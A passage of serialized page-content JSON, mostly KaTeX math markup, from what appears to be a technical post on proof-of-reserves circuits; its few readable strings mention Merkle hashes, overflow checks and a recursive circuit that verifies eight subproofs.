style":6514},[6475],[],{"type":24,"tag":90,"props":96570,"children":96572},{"className":96571},[6396],[96573],{"type":29,"value":3013},{"type":24,"tag":90,"props":96575,"children":96577},{"className":96576},[6507],[96578],{"type":29,"value":6510},{"type":24,"tag":90,"props":96580,"children":96582},{"className":96581,"style":6514},[6475],[],{"type":24,"tag":90,"props":96584,"children":96586},{"className":96585},[6396,23384],[96587],{"type":29,"value":96345},{"type":24,"tag":90,"props":96589,"children":96591},{"className":96590},[6396,23384],[96592],{"type":29,"value":13020},{"type":24,"tag":90,"props":96594,"children":96596},{"className":96595},[6396],[96597,96602],{"type":24,"tag":90,"props":96598,"children":96600},{"className":96599},[6396,23384],[96601],{"type":29,"value":86175},{"type":24,"tag":90,"props":96603,"children":96605},{"className":96604},[6412],[96606],{"type":24,"tag":90,"props":96607,"children":96609},{"className":96608},[6417,23438],[96610,96644],{"type":24,"tag":90,"props":96611,"children":96613},{"className":96612},[6422],[96614,96639],{"type":24,"tag":90,"props":96615,"children":96617},{"className":96616,"style":94929},[6427],[96618],{"type":24,"tag":90,"props":96619,"children":96620},{"style":94933},[96621,96625],{"type":24,"tag":90,"props":96622,"children":96624},{"className":96623,"style":6437},[6436],[],{"type":24,"tag":90,"props":96626,"children":96628},{"className":96627},[6442,6443,6444,6445],[96629],{"type":24,"tag":90,"props":96630,"children":96632},{"className":96631},[6396,6445],[96633],{"type":24,"tag":90,"props":96634,"children":96636},{"className":96635},[6396,6445],[96637],{"type":29,"value":96638},"511",{"type":24,"tag":90,"props":96640,"children":96642},{"className":96641},[23541],[96643],{"type":29,"value":23544},{"type":24,"tag":90,"props":96645,"children":96647},{"className":96646},[6422],[96648],{"type":24,"tag":90,"props":96649,"children":96651},{"className":96650,"style":94960},[6427],[96652],{"type":24,"tag":90,"props":96653,"children":96654},{},[],{"type":24,"tag":90,"props":96656,"children":96658},{"className":96657},[23535],[96659],{"type":29,"value":517},{"type":29,"value":2877},{"type":24,"tag":7711,"props":96662,"children":96663},{},[96664],{"type":29,"value":96665},"(merkle tree hash)",{"type":24,"tag":3104,"props":96667,"children":96668},{},[96669,96944,96945,96950,96952,96957],{"type":24,"tag":32,"props":96670,"children":96672},{"className":96671},[6368,6369],[96673],{"type":24,"tag":90,"props":96674,"children":96676},{"className":96675},[6374],[96677],{"type":24,"tag":90,"props":96678,"children":96680},{"className":96679,"ariaHidden":6380},[6379],[96681,96874],{"type":24,"tag":90,"props":96682,"children":96684},{"className":96683},[6385],[96685,96689,96694,96699,96704,96709,96714,96719,96724,96729,96734,96739,96744,96749,96754,96759,96816,96821,96826,96831,96836,96841,96846,96851,96856,96861,96865,96870],{"type":24,"tag":90,"props":96686,"children":96688},{"className":96687,"style":94819},[6390],[],{"type":24,"tag":90,"props":96690,"children":96692},{"className":96691},[6396,23384],[96693],{"type":29,"value":69},{"type":24,"tag":90,"props":96695,"children":96697},{"className":96696},[6396,23384],[96698],{"type":29,"value":95334},{"type":24,"tag":90,"props":96700,"children":96702},{"className":96701},[6396,23384],[96703],{"type":29,"value":95136},{"type":24,"tag":90,"props":96705,"children":96707},{"className":96706},[6396,23384],[96708],{"type":29,"value":58228},{"type":24,"tag":90,"props":96710,"children":96712},{"className":96711},[6396,23384],[96713],{"type":29,"value":23526},{"type":24,"tag":90,"props":96715,"children":96717},{"className":96716,"style":94877},[6396],[96718],{"type":29,"value":5482},{"type":24,"tag":90,"props":96720,"children":96722},{"className":96721},[6396,23384],[96723],{"type":29,"value":69},{"type":24,"tag":90,"props":96725,"children":96727},{"className":96726},[6396,23384],[96728],{"type":29,"value":94868},{"type":24,"tag":90,"props":96730,"children":96732},{"className":96731},[6396,23384],[96733],{"type":29,"value":23526},{"type":24,"tag":90,"props":96735,"children":96737},{"className":96736,"style":94877},[6396],[96738],{"type":29,"value":5482},{"type":24,"tag":90,"props":96740,"children":96742},{"className":96741},[6396,23384],[96743],{"type":29,"value":94885},{"type":24,"tag":90,"props":96745,"children":96747},{"className":96746,"style":94889},[6396,23384],[96748],{"type":29,"value":94892},{"type":24,"tag":90,"props":96750,"children":96752},{"className":96751},[6396,23384],[96753],{"type":29,"value":94898},{"type":24,"tag":90,"props":96755,"children":96757},{"className":96756},[6396,23384],[96758],{"type":29,"value":94904},{"type":24,"tag":90,"props":96760,"children":96762},{"className":96761},[6396],[96763,96768],{"type":24,"tag":90,"props":96764,"children":96766},{"className":96765},[6396,23384],[96767],{"type":29,"value":13020},{"type":24,"tag":90,"props":96769,"children":96771},{"className":96770},[6412],[96772],{"type":24,"tag":90,"props":96773,"children":96775},{"className":96774},[6417,23438],[96776,96805],{"type":24,"tag":90,"props":96777,"children":96779},{"className":96778},[6422],[96780,96800],{"type":24,"tag":90,"props":96781,"children":96783},{"className":96782,"style":95406},[6427],[96784],{"type":24,"tag":90,"props":96785,"children":96786},{"style":94933},[96787,96791],{"type":24,"tag":90,"props":96788,"children":96790},{"className":96789,"style":6437},[6436],[],{"type":24,"tag":90,"props":96792,"children":96794},{"className":96793},[6442,6443,6444,6445],[96795],{"type":24,"tag":90,"props":96796,"children":96798},{"className":96797},[6396,23384,6445],[96799],{"type":29,"value":6123},{"type":24,"tag":90,"props":96801,"children":96803},{"className":96802},[23541],[96804],{"type":29,"value":23544},{"type":24,"tag":90,"props":96806,"children":96808},{"className":96807},[6422],[96809],{"type":24,"tag":90,"props":96810,"children":96812},{"className":96811,"style":94960},[6427],[96813],{"type":24,"tag":90,"props":96814,"children":96815},{},[],{"type":24,"tag":90,"props":96817,"children":96819},{"className":96818},[23513],[96820],{"type":29,"value":719},{"type":24,"tag":90,"props":96822,"children":96824},{"className":96823},[6396,23384],[96825],{"type":29,"value":69},{"type":24,"tag":90,"props":96827,"children":96829},{"className":96828},[6396,23384],[96830],{"type":29,"value":94868},{"type":24,"tag":90,"props":96832,"children":96834},{"className":96833},[6396,23384],[96835],{"type":29,"value":23526},{"type":24,"tag":90,"props":96837,"children":96839},{"className":96838,"style":94877},[6396],[96840],{"type":29,"value":5482},{"type":24,"tag":90,"props":96842,"children":96844},{"className":96843},[6396,23384],[96845],{"type":29,"value":58228},{"type":24,"tag":90,"props":96847,"children":96849},{"className":96848},[6396,23384],[96850],{"type":29,"value":95136},{"type":24,"tag":90,"props":96852,"children":96854},{"className":96853},[6396,23384],[96855],{"type":29,"value":52957},{"type":24,"tag":90,"props":96857,"children":96859},{"className":96858},[23535],[96860],{"type":29,"value":1914},{"type":24,"tag":90,"props":96862,"children":96864},{"className":96863,"style":6573},[6475],[],{"type":24,"tag":90,"props":96866,"children":96868},{"className":96867},[6578],[96869],{"type":29,"value":1575},{"type":24,"tag":90,"props":96871,"children":96873},{"className":96872,"style":6573},[6475],[],{"type":24,"tag":90,"props":96875,"children":96877},{"className":96876},[6385],[96878,96882,96889,96894,96900,96905,96910,96915,96921,96926,96932,96938],{"type":24,"tag":90,"props":96879,"children":96881},{"className":96880,"style":94819},[6390],[],{"type":24,"tag":90,"props":96883,"children":96886},{"className":96884,"style":96885},[6396,23384],"margin-right:0.10903em;",[96887],{"type":29,"value":96888},"M",{"type":24,"tag":90,"props":96890,"children":96892},{"className":96891},[6396,23384],[96893],{"type":29,"value":78597},{"type":24,"tag":90,"props":96895,"children":96898},{"className":96896,"style":96897},[6396,23384],"margin-right:0.07847em;",[96899],{"type":29,"value":8518},{"type":24,"tag":90,"props":96901,"children":96903},{"className":96902,"style":94877},[6396],[96904],{"type":29,"value":5482},{"type":24,"tag":90,"props":96906,"children":96908},{"className":96907,"style":23843},[6396,23384],[96909],{"type":29,"value":23846},{"type":24,"tag":90,"props":96911,"children":96913},{"className":96912},[6396,23384],[96914],{"type":29,"value":78597},{"type":24,"tag":90,"props":96916,"children":96918},{"className":96917,"style":23843},[6396,23384],[96919],{"type":29,"value":96920},"FE",{"type":24,"tag":90,"props":96922,"children":96924},{"className":96923,"style":94877},[6396],[96925],{"type":29,"value":5482},{"type":24,"tag":90,"props":96927,"children":96929},{"className":96928,"style":96897},[6396,23384],[96930],{"type":29,"value":96931},"I",{"type":24,"tag":90,"props":96933,"children":96935},{"className":96934,"style":23385},[6396,23384],[96936],{"type":29,"value":96937},"NT",{"type":24,"tag":90,"props":96939,"children":96941},{"className":96940},[6396],[96942],{"type":29,"value":96943},"/512",{"type":29,"value":2877},{"type":24,"tag":7711,"props":96946,"children":96947},{},[96948],{"type":29,"value":96949},"(overflow check)",{"type":29,"value":96951}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":24,"tag":32,"props":96953,"children":96955},{"className":96954},[],[96956],{"type":29,"value":94735},{"type":29,"value":517},{"type":24,"tag":25,"props":96959,"children":96960},{},[96961],{"type":29,"value":96962},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":24,"tag":25,"props":96964,"children":96965},{},[96966],{"type":24,"tag":6301,"props":96967,"children":96969},{"alt":52402,"src":96968},"/posts/por/batch-circuit-inputs.png",[],{"type":24,"tag":1019,"props":96971,"children":96973},{"id":96972},"recursive-circuit",[96974],{"type":29,"value":96975},"Recursive Circuit",{"type":24,"tag":25,"props":96977,"children":96978},{},[96979],{"type":29,"value":96980},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":24,"tag":25,"props":96982,"children":96983},{},[96984],{"type":24,"tag":7711,"props":96985,"children":96986},{},[96987],{"type":29,"value":95249},{"type":24,"tag":3207,"props":96989,"children":96990},{},[96991,96995,97000],{"type":24,"tag":3104,"props":96992,"children":96993},{},[96994],{"type":29,"value":95267},{"type":24,"tag":3104,"props":96996,"children":96997},{},[96998],{"type":29,"value":96999},"Asset prices",{"type":24,"tag":3104,"props":97001,"children":97002},{},[97003],{"type":29,"value":95262},{"type":24,"tag":25,"props":97005,"children":97006},{},[97007],{"type":24,"tag":7711,"props":97008,"children":97009},{},[97010],{"type":29,"value":95275},{"type":24,"tag":3207,"props":97012,"children":97013},{},[97014],{"type":24,"tag":3104,"props":97015,"children":97016},{},[97017],{"type":29,"value":97018},"8 subproofs",{"type":24,"tag":25,"props":97020,"children":97021},{},[97022],{"type":24,"tag":7711,"props":97023,"children":97024},{},[97025],{"type":29,"value":95296},{"type":24,"tag":3207,"props":97027,"children":97028},{},[97029,97439,97770,98137,98524],{"type":24,"tag":3104,"props":97030,"children":97031},{},[97032,97434,97435],{"type":24,"tag":32,"props":97033,"children":97035},{"className":97034},[6368,6369],[97036],{"type":24,"tag":90,"props":97037,"children":97039},{"className":97038},[6374],[97040],{"type":24,"tag":90,"props":97041,"children":97043},{"className":97042,"ariaHidden":6380},[6379],[97044,97180],{"type":24,"tag":90,"props":97045,"children":97047},{"className":97046},[6385],[97048,97052,97057,97062,97067,97072,97077,97082,97087,97092,97097,97102,97107,97112,97117,97122,97127,97132,97137,97142,97147,97152,97157,97162,97167,97171,97176],{"type":24,"tag":90,"props":97049,"children":97051},{"className":97050,"style":94819},[6390],[],{"type":24,"tag":90,"props":97053,"children":97055},{"className":97054},[6396,23384],[97056],{"type":29,"value":23526},{"type":24,"tag":90,"props":97058,"children":97060},{"className":97059},[6396,23384],[97061],{"type":29,"value":94847},{"type":24,"tag":90,"props":97063,"children":97065},{"className":97064},[6396,23384],[97066],{"type":29,"value":23526},{"type":24,"tag":90,"props":97068,"children":97070},{"className":97069},[6396,23384],[97071],{"type":29,"value":69},{"type":24,"tag":90,"props":97073,"children":97075},{"className":97074,"style":94889},[6396,23384],[97076],{"type":29,"value":94892},{"type":24,"tag":90,"props":97078,"children":97080},{"className":97079,"style":94877},[6396],[97081],{"type":29,"value":5482},{"type":24,"tag":90,"props":97083,"children":97085},{"className":97084},[6396,23384],[97086],{"type":29,"value":69},{"type":24,"tag":90,"props":97088,"children":97090},{"className":97089},[6396,23384],[97091],{"type":29,"value":94868},{"type":24,"tag":90,"props":97093,"children":97095},{"className":97094},[6396,23384],[97096],{"type":29,"value":23526},{"type":24,"tag":90,"props":97098,"children":97100},{"className":97099,"style":94877},[6396],[97101],{"type":29,"value":5482},{"type":24,"tag":90,"props":97103,"children":97105},{"className":97104},[6396,23384],[97106],{"type":29,"value":94885},{"type":24,"tag":90,"props":97108,"children":97110},{"className":97109,"style":94889},[6396,23384],[97111],{"type":29,"value":94892},{"type":24,"tag":90,"props":97113,"children":97115},{"className":97114},[6396,23384],[97116],{"type":29,"value":94898},{"type":24,"tag":90,"props":97118,"children":97120},{"className":97119},[6396,23384],[97121],{"type":29,"value":94904},{"type":24,"tag":90,"props":97123,"children":97125},{"className":97124},[23513],[97126],{"type":29,"value":719},{"type":24,"tag":90,"props":97128,"children":97130},{"className":97129},[6396,23384],[97131],{"type":29,"value":69},{"type":24,"tag":90,"props":97133,"children":97135},{"className":97134},[6396,23384],[97136],{"type":29,"value":94868},{"type":24,"tag":90,"props":97138,"children":97140},{"className":97139},[6396,23384],[97141],{"type":29,"value":23526},{"type":24,"tag":90,"props":97143,"children":97145},{"className":97144,"style":94877},[6396],[97146],{"type":29,"value":5482},{"type":24,"tag":90,"props":97148,"children":97150},{"className":97149},[6396,23384],[97151],{"type":29,"value":58228},{"type":24,"tag":90,"props":97153,"children":97155},{"className":97154},[6396,23384],[97156],{"type":29,"value":95136},{"type":24,"tag":90,"props":97158,"children":97160},{"className":97159},[6396,23384],[97161],{"type":29,"value":52957},{"type":24,"tag":90,"props":97163,"children":97165},{"className":97164},[23535],[97166],{"type":29,"value":1914},{"type":24,"tag":90,"props":97168,"children":97170},{"className":97169,"style":6573},[6475],[],{"type":24,"tag":90,"props":97172,"children":97174},{"className":97173},[6578],[97175],{"type":29,"value":10951},{"type":24,"tag":90,"props":97177,"children":97179},{"className":97178,"style":6573},[6475],[],{"type":24,"tag":90,"props":97181,"children":97183},{"className":97182},[6385],[97184,97188,97193,97198,97203,97208,97213,97218,97224,97283,97288,97293,97298,97303,97308,97313,97318,97323,97329,97334,97339,97344,97349,97354,97359,97364,97369,97374,97379,97384,97389,97394,97399,97404,97409,97414,97419,97424,97429],{"type":24,"tag":90,"props":97185,"children":97187},{"className":97186,"style":94819},[6390],[],{"type":24,"tag":90,"props":97189,"children":97191},{"className":97190},[6396],[97192],{"type":29,"value":95467},{"type":24,"tag":90,"props":97194,"children":97196},{"className":97195},[6475],[97197],{"type":29,"value":23485},{"type":24,"tag":90,"props":97199,"children":97201},{"className":97200},[6396,23384],[97202],{"type":29,"value":13020},{"type":24,"tag":90,"props":97204,"children":97206},{"className":97205},[6396,23384],[97207],{"type":29,"value":95136},{"type":24,"tag":90,"props":97209,"children":97211},{"className":97210},[6396,23384],[97212],{"type":29,"value":5617},{"type":24,"tag":90,"props":97214,"children":97216},{"className":97215},[6396,23384],[97217],{"type":29,"value":25},{"type":24,"tag":90,"props":97219,"children":97221},{"className":97220},[6396,23384],[97222],{"type":29,"value":97223},"roo",{"type":24,"tag":90,"props":97225,"children":97227},{"className":97226},[6396],[97228,97234],{"type":24,"tag":90,"props":97229,"children":97232},{"className":97230,"style":97231},[6396,23384],"margin-right:0.10764em;",[97233],{"type":29,"value":34899},{"type":24,"tag":90,"props":97235,"children":97237},{"className":97236},[6412],[97238],{"type":24,"tag":90,"props":97239,"children":97241},{"className":97240},[6417,23438],[97242,97272],{"type":24,"tag":90,"props":97243,"children":97245},{"className":97244},[6422],[97246,97267],{"type":24,"tag":90,"props":97247,"children":97249},{"className":97248,"style":95406},[6427],[97250],{"type":24,"tag":90,"props":97251,"children":97253},{"style":97252},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[97254,97258],{"type":24,"tag":90,"props":97255,"children":97257},{"className":97256,"style":6437},[6436],[],{"type":24,"tag":90,"props":97259,"children":97261},{"className":97260},[6442,6443,6444,6445],[97262],{"type":24,"tag":90,"props":97263,"children":97265},{"className":97264},[6396,23384,6445],[97266],{"type":29,"value":6123},{"type":24,"tag":90,"props":97268,"children":97270},{"className":97269},[23541],[97271],{"type":29,"value":23544},{"type":24,"tag":90,"props":97273,"children":97275},{"className":97274},[6422],[97276],{"type":24,"tag":90,"props":97277,"children":97279},{"className":97278,"style":94960},[6427],[97280],{"type":24,"tag":90,"props":97281,"children":97282},{},[],{"type":24,"tag":90,"props":97284,"children":97286},{"className":97285},[6396],[97287],{"type":29,"value":226},{"type":24,"tag":90,"props":97289,"children":97291},{"className":97290},[6396,23384],[97292],{"type":29,"value":25},{"type":24,"tag":90,"props":97294,"children":97296},{"className":97295},[6396,23384],[97297],{"type":29,"value":95136},{"type":24,"tag":90,"props":97299,"children":97301},{"className":97300},[6396,23384],[97302],{"type":29,"value":5617},{"type":24,"tag":90,"props":97304,"children":97306},{"className":97305,"style":94889},[6396,23384],[97307],{"type":29,"value":94892},{"type":24,"tag":90,"props":97309,"children":97311},{"className":97310},[6396,23384],[97312],{"type":29,"value":6123},{"type":24,"tag":90,"props":97314,"children":97316},{"className":97315},[6396,23384],[97317],{"type":29,"value":3030},{"type":24,"tag":90,"props":97319,"children":97321},{"className":97320,"style":94877},[6396],[97322],{"type":29,"value":5482},{"type":24,"tag":90,"props":97324,"children":97326},{"className":97325},[6396,23384],[97327],{"type":29,"value":97328},"in",{"type":24,"tag":90,"props":97330,"children":97332},{"className":97331},[6396,23384],[97333],{"type":29,"value":25},{"type":24,"tag":90,"props":97335,"children":97337},{"className":97336},[6396,23384],[97338],{"type":29,"value":95136},{"type":24,"tag":90,"props":97340,"children":97342},{"className":97341},[6396,23384],[97343],{"type":29,"value":23526},{"type":24,"tag":90,"props":97345,"children":97347},{"className":97346},[6396],[97348],{"type":29,"value":226},{"type":24,"tag":90,"props":97350,"children":97352},{"className":97351},[6396,23384],[97353],{"type":29,"value":69},{"type":24,"tag":90,"props":97355,"children":97357},{"className":97356},[6396,23384],[97358],{"type":29,"value":94868},{"type":24,"tag":90,"props":97360,"children":97362},{"className":97361},[6396,23384],[97363],{"type":29,"value":23526},{"type":24,"tag":90,"props":97365,"children":97367},{"className":97366,"style":94877},[6396],[97368],{"type":29,"value":5482},{"type":24,"tag":90,"props":97370,"children":97372},{"className":97371},[6396,23384],[97373],{"type":29,"value":94885},{"type":24,"tag":90,"props":97375,"children":97377},{"className":97376,"style":94889},[6396,23384],[97378],{"type":29,"value":94892},{"type":24,"tag":90,"props":97380,"children":97382},{"className":97381},[6396,23384],[97383],{"type":29,"value":94898},{"type":24,"tag":90,"props":97385,"children":97387},{"className":97386},[6396,23384],[97388],{"type":29,"value":95707},{"type":24,"tag":90,"props":97390,"children":97392},{"className":97391},[23513],[97393],{"type":29,"value":719},{"type":24,"tag":90,"props":97395,"children":97397},{"className":97396},[6396,23384],[97398],{"type":29,"value":69},{"type":24,"tag":90,"props":97400,"children":97402},{"className":97401},[6396,23384],[97403],{"type":29,"value":94868},{"type":24,"tag":90,"props":97405,"children":97407},{"className":97406},[6396,23384],[97408],{"type":29,"value":23526},{"type":24,"tag":90,"props":97410,"children":97412},{"className":97411,"style":94877},[6396],[97413],{"type":29,"value":5482},{"type":24,"tag":90,"props":97415,"children":97417},{"className":97416},[6396,23384],[97418],{"type":29,"value":58228},{"type":24,"tag":90,"props":97420,"children":97422},{"className":97421},[6396,23384],[97423],{"type":29,"value":95136},{"type":24,"tag":90,"props":97425,"children":97427},{"className":97426},[6396,23384],[97428],{"type":29,"value":52957},{"type":24,"tag":90,"props":97430,"children":97432},{"className":97431},[23535],[97433],{"type":29,"value":1914},{"type":29,"value":2877},{"type":24,"tag":7711,"props":97436,"children":97437},{},[97438],{"type":29,"value":96267},{"type":24,"tag":3104,"props":97440,"children":97441},{},[97442],{"type":24,"tag":32,"props":97443,"children":97445},{"className":97444},[6368,6369],[97446],{"type":24,"tag":90,"props":97447,"children":97449},{"className":97448},[6374],[97450],{"type":24,"tag":90,"props":97451,"children":97453},{"className":97452,"ariaHidden":6380},[6379],[97454,97560],{"type":24,"tag":90,"props":97455,"children":97457},{"className":97456},[6385],[97458,97462,97467,97472,97477,97482,97487,97492,97497,97502,97507,97512,97517,97522,97527,97532,97537,97542,97547,97551,97556],{"type":24,"tag":90,"props":97459,"children":97461},{"className":97460,"style":94819},[6390],[],{"type":24,"tag":90,"props":97463,"children":97465},{"className":97464},[6396,23384],[97466],{"type":29,"value":69},{"type":24,"tag":90,"props":97468,"children":97470},{"className":97469},[6396,23384],[97471],{"type":29,"value":94868},{"type":24,"tag":90,"props":97473,"children":97475},{"className":97474},[6396,23384],[97476],{"type":29,"value":23526},{"type":24,"tag":90,"props":97478,"children":97480},{"className":97479,"style":94877},[6396],[97481],{"type":29,"value":5482},{"type":24,"tag":90,"props":97483,"children":97485},{"className":97484},[6396,23384],[97486],{"type":29,"value":25},{"type":24,"tag":90,"props":97488,"children":97490},{"className":97489,"style":94877},[6396,23384],[97491],{"type":29,"value":95696},{"type":24,"tag":90,"props":97493,"children":97495},{"className":97494},[6396,23384],[97496],{"type":29,"value":6123},{"type":24,"tag":90,"props":97498,"children":97500},{"className":97499},[6396,23384],[97501],{"type":29,"value":94904},{"type":24,"tag":90,"props":97503,"children":97505},{"className":97504},[23513],[97506],{"type":29,"value":719},{"type":24,"tag":90,"props":97508,"children":97510},{"className":97509},[6396,23384],[97511],{"type":29,"value":69},{"type":24,"tag":90,"props":97513,"children":97515},{"className":97514},[6396,23384],[97516],{"type":29,"value":94868},{"type":24,"tag":90,"props":97518,"children":97520},{"className":97519},[6396,23384],[97521],{"type":29,"value":23526},{"type":24,"tag":90,"props":97523,"children":97525},{"className":97524,"style":94877},[6396],[97526],{"type":29,"value":5482},{"type":24,"tag":90,"props":97528,"children":97530},{"className":97529},[6396,23384],[97531],{"type":29,"value":58228},{"type":24,"tag":90,"props":97533,"children":97535},{"className":97534},[6396,23384],[97536],{"type":29,"value":95136},{"type":24,"tag":90,"props":97538,"children":97540},{"className":97539},[6396,23384],[97541],{"type":29,"value":52957},{"type":24,"tag":90,"props":97543,"children":97545},{"className":97544},[23535],[97546],{"type":29,"value":1914},{"type":24,"tag":90,"props":97548,"children":97550},{"className":97549,"style":6573},[6475],[],{"type":24,"tag":90,"props":97552,"children":97554},{"className":97553},[6578],[97555],{"type":29,"value":10951},{"type":24,"tag":90,"props":97557,"children":97559},{"className":97558,"style":6573},[6475],[],{"type":24,"tag":90,"props":97561,"children":97563},{"className":97562},[6385],[97564,97568,97573,97578,97583,97588,97593,97650,97655,97660,97665,97670,97675,97680,97685,97690,97695,97700,97705,97710,97715,97720,97725,97730,97735,97740,97745,97750,97755,97760,97765],{"type":24,"tag":90,"props":97565,"children":97567},{"className":97566,"style":94819},[6390],[],{"type":24,"tag":90,"props":97569,"children":97571},{"className":97570},[6396,23384],[97572],{"type":29,"value":13020},{"type":24,"tag":90,"props":97574,"children":97576},{"className":97575},[6396,23384],[97577],{"type":29,"value":95136},{"type":24,"tag":90,"props":97579,"children":97581},{"className":97580},[6396,23384],[97582],{"type":29,"value":5617},{"type":24,"tag":90,"props":97584,"children":97586},{"className":97585},[6396,23384],[97587],{"type":29,"value":25},{"type":24,"tag":90,"props":97589,"children":97591},{"className":97590},[6396,23384],[97592],{"type":29,"value":97223},{"type":24,"tag":90,"props":97594,"children":97596},{"className":97595},[6396],[97597,97602],{"type":24,"tag":90,"props":97598,"children":97600},{"className":97599,"style":97231},[6396,23384],[97601],{"type":29,"value":34899},{"type":24,"tag":90,"props":97603,"children":97605},{"className":97604},[6412],[97606],{"type":24,"tag":90,"props":97607,"children":97609},{"className":97608},[6417,23438],[97610,97639],{"type":24,"tag":90,"props":97611,"children":97613},{"className":97612},[6422],[97614,97634],{"type":24,"tag":90,"props":97615,"children":97617},{"className":97616,"style":95406},[6427],[97618],{"type":24,"tag":90,"props":97619,"children":97620},{"style":97252},[97621,97625],{"type":24,"tag":90,"props":97622,"children":97624},{"className":97623,"style":6437},[6436],[],{"type":24,"tag":90,"props":97626,"children":97628},{"className":97627},[6442,6443,6444,6445],[97629],{"type":24,"tag":90,"props":97630,"children":97632},{"className":97631},[6396,23384,6445],[97633],{"type":29,"value":6123},{"type":24,"tag":90,"props":97635,"children":97637},{"className":97636},[23541],[97638],{"type":29,"value":23544},{"type":24,"tag":90,"props":97640,"children":97642},{"className":97641},[6422],[97643],{"type":24,"tag":90,"props":97644,"children":97646},{"className":97645,"style":94960},[6427],[97647],{"type":24,"tag":90,"props":97648,"children":97649},{},[],{"type":24,"tag":90,"props":97651,"children":97653},{"className":97652},[6396],[97654],{"type":29,"value":226},{"type":24,"tag":90,"props":97656,"children":97658},{"className":97657},[6396,23384],[97659],{"type":29,"value":25},{"type":24,"tag":90,"props":97661,"children":97663},{"className":97662},[6396,23384],[97664],{"type":29,"value":95136},{"type":24,"tag":90,"props":97666,"children":97668},{"className":97667},[6396,23384],[97669],{"type":29,"value":5617},{"type":24,"tag":90,"props":97671,"children":97673},{"className":97672,"style":94889},[6396,23384],[97674],{"type":29,"value":94892},{"type":24,"tag":90,"props":97676,"children":97678},{"className":97677},[6396,23384],[97679],{"type":29,"value":6123},{"type":24,"tag":90,"props":97681,"children":97683},{"className":97682},[6396,23384],[97684],{"type":29,"value":3030},{"type":24,"tag":90,"props":97686,"children":97688},{"className":97687,"style":94877},[6396],[97689],{"type":29,"value":5482},{"type":24,"tag":90,"props":97691,"children":97693},{"className":97692},[6396,23384],[97694],{"type":29,"value":97328},{"type":24,"tag":90,"props":97696,"children":97698},{"className":97697},[6396,23384],[97699],{"type":29,"value":25},{"type":24,"tag":90,"props":97701,"children":97703},{"className":97702},[6396,23384],[97704],{"type":29,"value":95136},{"type":24,"tag":90,"props":97706,"children":97708},{"className":97707},[6396,23384],[97709],{"type":29,"value":23526},{"type":24,"tag":90,"props":97711,"children":97713},{"className":97712},[6396],[97714],{"type":29,"value":226},{"type":24,"tag":90,"props":97716,"children":97718},{"className":97717},[6396,23384],[97719],{"type":29,"value":69},{"type":24,"tag":90,"props":97721,"children":97723},{"className":97722},[6396,23384],[97724],{"type":29,"value":94868},{"type":24,"tag":90,"props":97726,"children":97728},{"className":97727},[6396,23384],[97729],{"type":29,"value":23526},{"type":24,"tag":90,"props":97731,"children":97733},{"className":97732,"style":94877},[6396],[97734],{"type":29,"value":5482},{"type":24,"tag":90,"props":97736,"children":97738},{"className":97737},[6396,23384],[97739],{"type":29,"value":25},{"type":24,"tag":90,"props":97741,"children":97743},{"className":97742,"style":94877},[6396,23384],[97744],{"type":29,"value":95696},{"type":24,"tag":90,"props":97746,"children":97748},{"className":97747},[6396,23384],[97749],{"type":29,"value":6123},{"type":24,"tag":90,"props":97751,"children":97753},{"className":97752},[6396,23384],[97754],{"type":29,"value":95707},{"type":24,"tag":90,"props":97756,"children":97758},{"className":97757},[23513],[97759],{"type":29,"value":719},{"type":24,"tag":90,"props":97761,"children":97763},{"className":97762},[6396],[97764],{"type":29,"value":6408},{"type":24,"tag":90,"props":97766,"children":97768},{"className":97767},[23535],[97769],{"type":29,"value":1914},{"type":24,"tag":3104,"props":97771,"children":97772},{},[97773,98131,98132],{"type":24,"tag":32,"props":97774,"children":97776},{"className":97775},[6368,6369],[97777],{"type":24,"tag":90,"props":97778,"children":97780},{"className":97779},[6374],[97781],{"type":24,"tag":90,"props":97782,"children":97784},{"className":97783,"ariaHidden":6380},[6379],[97785,97891],{"type":24,"tag":90,"props":97786,"children":97788},{"className":97787},[6385],[97789,97793,97798,97803,97808,97813,97818,97823,97828,97833,97838,97843,97848,97853,97858,97863,97868,97873,97878,97882,97887],{"type":24,"tag":90,"props":97790,"children":97792},{"className":97791,"style":94819},[6390],[],{"type":24,"tag":90,"props":97794,"children":97796},{"className":97795},[6396,23384],[97797],{"type":29,"value":69},{"type":24,"tag":90,"props":97799,"children":97801},{"className":97800},[6396,23384],[97802],{"type":29,"value":94868},{"type":24,"tag":90,"props":97804,"children":97806},{"className":97805},[6396,23384],[97807],{"type":29,"value":23526},{"type":24,"tag":90,"props":97809,"children":97811},{"className":97810,"style":94877},[6396],[97812],{"type":29,"value":5482},{"type":24,"tag":90,"props":97814,"children":97816},{"className":97815},[6396,23384],[97817],{"type":29,"value":25},{"type":24,"tag":90,"props":97819,"children":97821},{"className":97820,"style":94877},[6396,23384],[97822],{"type":29,"value":95696},{"type":24,"tag":90,"props":97824,"children":97826},{"className":97825},[6396,23384],[97827],{"type":29,"value":6123},{"type":24,"tag":90,"props":97829,"children":97831},{"className":97830},[6396,23384],[97832],{"type":29,"value":94904},{"type":24,"tag":90,"props":97834,"children":97836},{"className":97835},[23513],[97837],{"type":29,"value":719},{"type":24,"tag":90,"props":97839,"children":97841},{"className":97840},[6396,23384],[97842],{"type":29,"value":69},{"type":24,"tag":90,"props":97844,"children":97846},{"className":97845},[6396,23384],[97847],{"type":29,"value":94868},{"type":24,"tag":90,"props":97849,"children":97851},{"className":97850},[6396,23384],[97852],{"type":29,"value":23526},{"type":24,"tag":90,"props":97854,"children":97856},{"className":97855,"style":94877},[6396],[97857],{"type":29,"value":5482},{"type":24,"tag":90,"props":97859,"children":97861},{"className":97860},[6396,23384],[97862],{"type":29,"value":58228},{"type":24,"tag":90,"props":97864,"children":97866},{"className":97865},[6396,23384],[97867],{"type":29,"value":95136},{"type":24,"tag":90,"props":97869,"children":97871},{"className":97870},[6396,23384],[97872],{"type":29,"value":52957},{"type":24,"tag":90,"props":97874,"children":97876},{"className":97875},[23535],[97877],{"type":29,"value":1914},{"type":24,"tag":90,"props":97879,"children":97881},{"className":97880,"style":6573},[6475],[],{"type":24,"tag":90,"props":97883,"children":97885},{"className":97884},[6578],[97886],{"type":29,"value":10951},{"type":24,"tag":90,"props":97888,"children":97890},{"className":97889,"style":6573},[6475],[],{"type":24,"tag":90,"props":97892,"children":97894},{"className":97893},[6385],[97895,97899,97904,97909,97914,97919,97924,97981,97986,97991,97996,98001,98006,98011,98016,98021,98026,9803